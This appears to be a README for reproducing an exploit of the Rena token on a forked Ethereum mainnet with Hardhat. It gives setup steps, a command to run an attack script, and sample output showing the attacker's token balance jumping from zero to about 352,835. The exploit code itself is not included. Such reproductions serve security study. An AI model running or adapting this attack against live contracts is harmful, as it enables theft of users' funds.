Install nodejs/npm first
Set up the forking url (in hardhat.config.ts)
e.g. https://speedy-nodes-nyc.moralis.io/xxxxxxxxxxx/eth/mainnet/archive ( You need to apply for speedy-nodes from moralis.io)
Then run
npm install
npx hardhat run scripts/attack.tsYou will see similar output later
Rena balance of attacker: 0.0
Exploiting...
Exploit complete.
Rena balance of attacker: 352835.865880437990126099
This means the attack is complete
The block height of the fork is 14465356